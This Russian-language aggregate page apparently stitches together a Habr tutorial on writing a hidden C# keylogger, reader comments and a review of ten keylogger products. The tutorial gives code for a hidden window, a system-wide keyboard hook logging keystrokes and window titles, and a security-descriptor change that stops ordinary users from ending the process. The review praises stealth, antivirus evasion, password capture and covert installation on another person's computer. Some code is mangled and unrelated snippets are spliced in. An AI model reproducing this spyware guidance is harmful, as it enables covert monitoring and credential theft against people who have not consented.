Здесь будет рассмотрено создание Keylogger на базе .Net C# с вызовами системных функций. Сами системные функции в кратце описываются, но лучше прочитать официальную документацию от Microsoft. Ссылка на репозиторий с рабочей сборкой приведена в конце, так же как и ссылка на доккументацию.
Что будет реализовано:
- Логирование ввода с клавиатуры.
- Логирование активного окна.
- Блокировка процесса от пользователя без привилегий администратора.
- Остановка процесса по сочетанию клавиш.
Итак, разберем несколько типов системных кодов, которые будут необходимы, каждый тип будет храниться в отдельном Enum.
Типы хуков (hooks).
public enum HookTypes
Чтобы отлавливать все события, связанные с клавиатурой, нужен тип WH_KEYBOARD_LL. Все остальные типы хуков требуют реализации отдельных DLL, кроме еще одного хука WH_MOUSE_LL — события связанные с мышью.
Типы событий связанные с клавиатурой, нажатие и отпускание клавиши.
public enum KeyboardEventTypes
Будем записывать вводимые символы по отпусканию клавиши — WM_KEYUP.
«Удивительные люди». Элеонора Лукина. Высокая скорость печати
Отдельно типы для отлавливания перехода пользователя с одного окна приложения на другое.
public class WinEventTypes
Enum для того чтобы задействовать сочетание клавиш на отключение программы.
public enum CombineKeys
Для того чтобы реализовать все пункты сначала создаем Форму и прячем ее от пользователя. Достаточно переопределить базовый метод SetVisibleCore.
protected override void SetVisibleCore(bool value)
Форма будет запускаться при старте программы.
Application.Run(HiddenForm);
Есть форма и теперь нужно добавить главную функцию — перехват ввода с клавиатуры. Используем Win API метод SetWindowsHookEx, в качестве параметров будут передаваться:
- Тип хука — WH_KEYBOARD_LL.
- Функция обратного вызова, т.е. тот метод который должен обрабатывать все события связанные с клавиатурой.
- Идентификатор текущего модуля.
- Идентификатор потока — 0. Ноль чтобы хук ассоциировался со всеми потоками.
internal IntPtr SetHook(HookTypes typeOfHook, HookProc callBack) < using (Process currentProcess = Process.GetCurrentProcess()) using (ProcessModule currentModule = currentProcess.MainModule) < return SetWindowsHookEx((int)typeOfHook, callBack, GetModuleHandle(currentModule.ModuleName), 0); >>
Сам метод который обрабатывает хук. В нем несколько параметров, nCode — для того чтобы понимать нужно ли обрабатывать текущее событие или сразу же передать дальше,
wParam — тип события (нажатие или отпускание клавиши), lParam — символ который сейчас нажат. По сути lParam это массив байтов, так что в нем хранится дополнительная информация, например, количество символов если пользователь удерживает клавишу а машина, на которой происходит обработка, медленная.
internal static IntPtr KeyLoggerHookCallback(int nCode, IntPtr wParam, IntPtr lParam) < if (nCode >= 0 wParam == (IntPtr)KeyboardEventTypes.WM_KEYUP) < int vkCode = Marshal.ReadInt32(lParam); SetKeysState(); var saveText = GetSymbol((uint)vkCode); File.AppendAllText(_fileName, saveText); >return CallNextHookEx(HookId, nCode, wParam, lParam); >
Данная реализация записывает символ только после того как пользователь отпустил клавишу. Чтобы записать количество символов, нужно имплементировать случай с типом WM_KEYDOWN.
УПРАВЛЯЕМ МЫШЬЮ И КЛАВИАТУРОЙ ЧЕРЕЗ PYTHON | PYAUTOGUI ч.1
SetKeysState метод служит для того чтобы знать в каком состояние находятся дополнительные клавиши, например клавиши влияющие на регистр.
private static void SetKeysState()
GetKeyState — это еще один метод Win API, через который можно узнать состояние по коду клавиши.
private static string GetSymbol(uint vkCode)
В методе GetSymbol, сначала запрашивается код раскладки клавиатуры GetKeyboardLayout текущего окна, и затем ToUnicodeEx чтобы получить символ, оба Win API методы. Если задействованы клавиши влияющие на регистр то символ необходимо привести к верхнему регистру.
Этого будет достаточно для логирования ввода с клавиатуры. Но чтобы записывать текущее активное окно нужно использовать другой хук.
internal IntPtr SetWinHook(WinEventProc callBack) < using (Process currentProcess = Process.GetCurrentProcess()) using (ProcessModule currentModule = currentProcess.MainModule) < return SetWinEventHook( WinEventTypes.EVENT_SYSTEM_FOREGROUND, WinEventTypes.EVENT_SYSTEM_FOREGROUND, GetModuleHandle(currentModule.ModuleName), callBack, 0, 0, WinEventTypes.WINEVENT_OUTOFCONTEXT); >>
Тип EVENT_SYSTEM_FOREGROUND нужен для того чтобы отслеживать изменение активного окна. А WINEVENT_OUTOFCONTEXT указывает на то что callBack метод находится в нашем приложении.
Метод передаваемый в цепочку хуков содержит множество параметров, которые могут быть полезны при более детальной реализации, для этого случая достаточно узнать активное окно и его заголовок.
internal static void ActiveWindowsHook( IntPtr hWinEventHook, uint eventType, IntPtr hwnd, int idObject, int idChild, uint dwEventThread, uint dwmsEventTime) < File.AppendAllText(_fileName, $»»); >
То есть каждое событие смены окна будет записываться. И в GetActiveWindowTitle достаточно использовать пару Win API методов GetForegroundWindow — узнать идентификатор текущего активного окна, после запросить заголовок с помощью GetWindowText.
private static string GetActiveWindowTitle() < var buff = new StringBuilder(maxChars); var handle = GetForegroundWindow(); if (GetWindowText(handle, buff, maxChars) >0) < return buff.ToString(); >return null; >
До этого момента все вызовы системных функций были взяты из библиотеки User32 и Kernel32. На следующем шаге понадобится библиотека advapi32.
Третий шаг заключается в том чтобы не дать обычному пользователя завершить процесс записи ввода с клавиатуры. Сначала необходимо получить дескриптор данного процесса а потом его изменить, добавив запись в DACL.
internal void BlockForNotAdminUsers()
Получение дескриптора процесса происходит через GetKernelObjectSecurity, метод вызывается два раза, сначала получаем длину дескриптора, а вторым вызовом получаем непосредственно дескриптор процесса.
private RawSecurityDescriptor GetProcessSecurityDescriptor(IntPtr processHandle) < var psd = new byte[0]; GetKernelObjectSecurity(processHandle, DACL_SECURITY_INFORMATION, psd, 0, out uint bufSizeNeeded); if (bufSizeNeeded < 0 || bufSizeNeeded >short.MaxValue) throw new Win32Exception(); if (!GetKernelObjectSecurity( processHandle, DACL_SECURITY_INFORMATION, psd = new byte[bufSizeNeeded], bufSizeNeeded, out bufSizeNeeded)) throw new Win32Exception(); return new RawSecurityDescriptor(psd, 0); >
После изменения дескриптора нужно внести эту информацию в текущий процесс. Достаточно передать идентификатор и дескриптор процесса в системный метод SetKernelObjectSecurity.
private void SetProcessSecurityDescriptor(IntPtr processHandle, RawSecurityDescriptor securityDescriptor)
Завершающий этап — остановка процесса по сочетанию клавиш.
internal static int SetHotKey(Keys key, IntPtr handle)
Здесь key это сочетание клавиш, а handle идентификатор спрятанной формы. Чтобы распознать сочетание клавиш на форме создается keyId, по которому можно проверять срабатывание комбинации клавиш. И все это записываем через Win API метод RegisterHotKey.
И чтобы наконец остановить процесс переопределяем метод WndProc в форме.
protected override void WndProc(ref Message m) < if (m.Msg == (int)CombineKeys.WM_HOTKEY) < if ((int)m.WParam == KeyId) < UnregisterHotKey(Handle, KeyId); Application.Exit(); >> base.WndProc(ref m); >
Полезные ссылки:
Источник: habr.com
Программа которая записывает ввод с клавиатуры
- 11
- 33
- 12
- 5
- 1
5 лет назад
Том4чик, почему другие минусуют не знаю. Про себя скажу.
Одни статьи считаю безграмотными, другие вредными, третьи ни о чем.
Время на комментарии таких статей тратить себе дороже.
Для этого есть «минус».
Этим я выражаю исключительно свое личное мнение и никому ничего не навязываю. Никто даже не узнает, минусовал я статью или плюсовал.
5 лет назад
Кто и зачем постоянно минусует статьи? Не нужна Вам эта инфа, дело ваше. Мне собссно тоже не особо, все что надо я и сама найду, но кому-то вполне может быть и полезна. Нормальный обзор, не полный конечно и поверхностный, но для начала вполне, остальное при надобности найти в интернете уже не проблема. Так почему минус?
5 лет назад
Том4чик, почему другие минусуют не знаю. Про себя скажу.
Одни статьи считаю безграмотными, другие вредными, третьи ни о чем.
Время на комментарии таких статей тратить себе дороже.
Для этого есть «минус».
Этим я выражаю исключительно свое личное мнение и никому ничего не навязываю. Никто даже не узнает, минусовал я статью или плюсовал.
5 лет назад
Комментарий скрыт, потому что многим пользователям он не понравился.
Том4чик, из вредности и понтовости.
5 лет назад
все эти проги вне закона и за них могут нагреть.для других пользователей нужно включить гостя или создать еще одну уч.запись.а так это будет чистый шпионаж
5 лет назад
Не пойму, или статья старая, или Мирко опять в КГБ переименовали?
5 лет назад
Сергей, мипко так и осталось
5 лет назад
Igore, пытался пошутить
Статья древняя, Фунционал Мипко (бывшего КГБ) уже на 2 порядка выше.
Раз уж начал Вам отвечать — по поводу «вне закона» у меня другое мнение — и топор считается хозинвентарём, законом не запрещён. Запрещено пользоваться им не по назначению, черепа окружающим колоть и т.п.
Включение нескольких учетных записей хорошее решение, если на компе постоянно работают 2-4 человека, но создает свои маленькие геморройчики (затрудняется обмен файлами, место на диске «уходит» под лишние учётки и прочее).
Да и задачи методы «шпиона» и «гостя» решают разные.
Источник: pomogaemkompu.temaretik.com
Клавиатурный шпион: обзор 10 лучших утилит для слежения
Различные шпионские программы бывают необходимы в условиях, когда к одному компьютеру имеют доступ много людей.
В этих условиях пользователь может захотеть узнать, какие сайты посещались с его компьютера (например, детьми), не происходило ли воровство с кредитных карт с помощью сохраненных паролей и т. д. для прояснения этих вопросов и потребуется клавиатурный шпион.
Наш обзор позволит вам сделать оптимальный выбор.
- Особенности выбора
- Технические характеристики
- SC-KeyLog
- WideStep Handy Keylogger
- Actual Spy
- EliteKeylogger
- The Rat!
- SPYGO
- Ardamax Keylogger 2.9
- NS Keylogger Personal Monitor 3.8
- KGB Spy
- Golden Keylogger 1.32
- Вывод
Особенности выбора
Что же такое по своей сути клавиатурный шпион? Это программа, которая, строго говоря, напрямую никак не связана с клавиатурой.
Она устанавливается в память компьютера и действует на жестком диске. Часто признаков ее деятельности не видно на компьютере, если не искать их целенаправленно.
Такая программа косвенно взаимодействует с клавиатурой, то есть работает с программой на ПК, которая преобразует сигналы, поступающие на процессор в результате нажатия кнопок, в текст при печати.
Некоторые программы предоставляют возможность настройки таких показателей, другие нет.
Также они отличаются друг от друга по степени скрытности. Например, деятельность одних очевидна, на Рабочем столе остается ярлык и т. д., такие программы подойдут для контроля деятельности, например, детей.
Следы присутствия и деятельности других не заметны вовсе – они действуют скрыто и подойдут для установки на чужой компьютер, когда факт установки необходимо скрыть от стороннего пользователя.
В данном материале представлен ТОП лучших программ, которые можно использовать для этой цели. Среди них проще выбрать подходящую.
Технические характеристики
Для упрощения процесса выбора программного обеспечения в таблице, размещенной ниже, приведены основные сравнительные характеристики всех программ, включенных в ТОП.
SC-KeyLog | Бесплатно | Вся | Широкий | Упрощенный |
WideStep Handy Keylogger | Бесплатно/Платно | Вся | Широкий | Улучшенный |
Actual Spy | Платно | Вся | Очень широкий | Стандартный |
EliteKeylogger | Платно | Вся | Широкий | Стандартный |
The Rat! | Бесплатно/Платно | Меньше, чем в предыдущих | Довольно широкий | Неэстетичный |
SPYGO | Бесплатно | В зависимости от версии | В зависимости от версии | Стандартное оформление Windows |
Ardamax Keylogger 2.9 | Бесплатно | С клавиатуры | Суженный | Упрощенный |
NS Keylogger Personal Monitor 3.8 | Бесплатно | Вся | Суженный | Упрощенный |
KGB Spy | Платно | С клавиатуры+ открытые программы | Узкий | Простой |
Golden Keylogger 1.32 | Бесплатно | С клавиатуры | Очень узкий | Простой |
Основываясь на характеристиках из этой таблицы легко выбрать максимально подходящую под конкретные требования программу.
Подробнее об этих утилитах же рассказано ниже.
SC-KeyLog
Это объемная и функциональная программа шпион, которая распространяется бесплатно.
Помимо отслеживания конкретно информации вводимой с клавиатуры, в состоянии также собирать информацию о кликах мыши, адресах посещенных сайтов, паролях, открытых окнах в браузере.
Дает полную информацию обо всех действиях, производимых на компьютере. При этом формируемый файл можно просмотреть удаленно с другого устройства.
- Возможность удаленного доступа к файлу с другого устройства;
- Отсутствие следов деятельности программы на компьютере при правильных настройках;
- Разнообразие собираемых данных – практически информация обо всех действиях на ПК может быть доступна.
- Сохраняет пароли только не выше NT0;
- Слишком простое меню и неэстетичный дизайн;
- Достаточно неудобный формат отображения результата.
А что же говорят пользователи, которые активно применяют этот софт? «Абсолютна незаметна для пользователя», «Данные исправно приходят на почту».
WideStep Handy Keylogger
Это приложение распространяется условно бесплатно. Цена полной платной версии составляет 35 долларов.
Довольно интересная и функциональная программа, которая стоит своих денег, если вы готовы их заплатить.
Отличительная черта – способность отправлять записанные данные на электронную почту с указанной периодичностью. В остальном работает нормально, часто, стабильнее других программ из этого списка.
- Сбор информации различных типов;
- Полная невидимость работы на компьютере пользователя;
- Простой интерфейс и управление.
- Дизайн лучше, чем в предыдущей программе, но все равно не на высоте;
- Формат отображения результата неудобный;
- Платная версия стоит достаточно дорого.
Мнения юзеров об этом софте таковы: «Удобная, простая и функциональная программа. Довольно незаметна при работе».
Actual Spy
Это функциональная и сложная платная программа стоимостью 600 рублей. Однако она имеет демонстрационную версию, распространяющуюся бесплатно.
Особенность этого софта – способность делать скриншоты экрана в заданный период времени.
Это помогает решить проблему ввода графического пароля/ключа, которые в последнее время стали широкого распространяться.
- Множество типов собираемой информации плюс возможность делать скриншоты с экрана в указанный период;
- Большое количество других дополнительных функций и особенностей;
- Записывает не только действия, но и время их выполнения;
- Шифрует сформированный журнал.
- Длительность работы (сбора информации) в бесплатной демонстрационной версии составляет 40 минут;
- Платное распространение, хотя и более или менее приемлемая цена;
- Достаточно большой вес программы.
Отзывы пользователей о данном приложении таковы: «Программа отличная. Молодцы программисты!».
EliteKeylogger
Платная программа с достаточно высокой ценой – 69 долларов. Действует на ПК полностью незаметно в режиме драйвера низкого уровня, потому почти полностью не поддается обнаружению.
Интересная и удобная особенность – автоматический запуск софта, происходящий одновременно с запуском самой системы.
Сложно обнаруживается или вовсе не обнаруживается даже специальными антикейлогерами.
- Полностью срытое действие и сложность в обнаружении;
- Формат работы типа низкоуровневого драйвера и автоматический запуск при загрузке системы;
- Отслеживает также и нажатия не только основных, но и служебных клавиш на клавиатуре.
- Достаточно сложная система установки программы на ПК;
- Высокая стоимость программы, но в российском интернете можно найти старую взломанную версию;
- Довольно сложная система индивидуальных настроек программы, которая, впрочем, оправдывает себя.
Что же говорят юзеры об этом софте? «Хорошая программа», «Немного не дотягивает до Jetlogger».
The Rat!
Довольно распространенная и популярная, функциональная утилита с платной лицензией.
Однако для частного использования предоставляется бесплатная демонстрационная версия ч ограниченным периодом действия.
Программа очень простая – написать такую же может любой продвинутый пользователь. Тем не менее, она полностью неуловима для антивирусов и специальных программ, обнаруживающих подобный софт.
- Простота, функциональность и высокая стабильность работы;
- Минимальный вес файла и место, занимаемое им на компьютере;
- Достаточно много настроек.
- Довольно неприятный дизайн, выполненный в черном, белом и красном цветах;
- Функционал несколько уже, чем в программах, описанных до этого;
- Неудобный просмотр журнала и вообще неудобный интерфейс и использование.
Пользователи говорят о данной программе следующее: «Работает стабильно, но простовата», «Программа хорошая, позволяет собирать данные незаметно».
SPYGO
Это принципиально новый кейлогер, предназначенный для работы на платформе Windows и разработанный российским программистом.
Позиционируется не как хакерское средство, а как законное средство мониторинга, потому его использование вполне законно.
Особенность программы в том, что она достаточно легко обнаруживается и это надо учитывать.
Но именно за счет этого и остается относительно законной. Имеется несколько версий с более или менее продвинутым и разнообразным функционалом.
- Легальность – это не шпионское ПО, а легальное средство мониторинга;
- Не внесена в базы антивирусов и разработчик всячески этого избегает;
- Способность копировать и записывать отдельные фразы, отлавливая их по ключевым словам.
- Достаточно легко обнаруживается при поиске;
- Довольно сложное управление настройками;
- Не слишком удобный формат просмотра лога.
Отзывы пользователей о данной программе таковы: «Очень даже неплохой шпион!», «Отличная программа, но на электронную почту приходит весь отчет, кроме скриншотов».
Ardamax Keylogger 2.9
Совсем небольшая и очень простая в управлении программа, которая не заметна ни в Диспетчере задач , ни каким-то иным образом.
Способна записывать информацию постоянно или с указанной периодичностью.
Также с указанной периодичностью может отправлять записанный лог на электронную почту.
- Полностью скрытая работа;
- Минимальный вес программы;
- Очень простое управление.
- Чрезмерно упрощенный дизайн;
- Несколько суженный функционал по сравнению с другими программами, представленными в ТОПе;
- Неудобное управление горячими клавишами.
Какие же отзывы получила данная программа от пользователей? «неплохая функциональная программа. Действует более или менее скрыто», «Функций немного, но для базового отслеживания хватает».
NS Keylogger Personal Monitor 3.8
Простая и понятная в использовании легкая программка с небольшим весом. Действует скрыто, не проявляется ни на Панели задач , ни в Диспетчере задач . Распространяется бесплатно.
Собирает информацию о фразах, введенных с клавиатуры, открытых веб-окнах, документах, тексте, введенном в письме на электронную почту и т. д.
- Легкость и простота в использовании;
- Небольшой объем установочного файла и малое место, занимаемое на ПК;
- Полностью скрытая работа.
- Иногда может обнаруживаться антивирусами и антикейлогерами;
- Имеет немного суженный функционал по сравнению с платными программами;
- Чрезмерно упрощенный дизайн.
Отзывы пользователей о данной программе таковы: «Нормальная программа. Основную функцию выполняет стабильно».
KGB Spy
Простое платное приложение собирает минимум информации полюс время, в которое она была введена.
Работает полностью скрыто.
- Работает в хорошо скрытом режиме и достаточно стабильна;
- Программа собирает только информацию, введенную с клавиатуры плюс открытые в это время программы;
- Проста в управлении.
- Платное распространение;
- Дизайн может показаться несколько слишком простым;
- Хотя работает стабильно, по функционалу все же значительно уступает другому бесплатному софту, перечисленному в данной статье.
Что же пользователи говорят об этом программном обеспечении? «Функций очень мало», «Лучше не скачивать. При той же стабильности и размере можно найти и более функциональные варианты».
Golden Keylogger 1.32
Простой бесплатный кейлогер с очень узким функционалом.
Скачать его можно для того, чтобы изучить сам формат работы таких программ.
- Минимальный вес;
- Стабильная работа;
- Неудобный интерфейс;
- Крайне узкий функционал;
- Вероятность обнаружения.
Отзывы пользователей о софте таковы: «Почти ничего не позволяет делать, нельзя даже отправить отчет на электронную почту», «Легко обнаруживается антивирусом».
Вывод
Выбор наиболее оптимальной программы зависит от того, какие цели преследует ее установка на компьютере.
В том случае, если стоит цель более серьезного мониторинга и сбора паролей, то можно отдать предпочтение платным программам, таким например, как EliteKeylogger и Actual Spy.
Лучшей по соотношению цены и функционала платной программой можно назвать EliteKeylogger. Она также является наиболее стабильной и функциональной в этом ТОПе.
Лучшей, наиболее стабильной и функциональной программой среди бесплатных, можно назвать SC-KeyLog. Также неплохими характеристиками обладает Ardamax Keylogger.
Источник: ddr64.link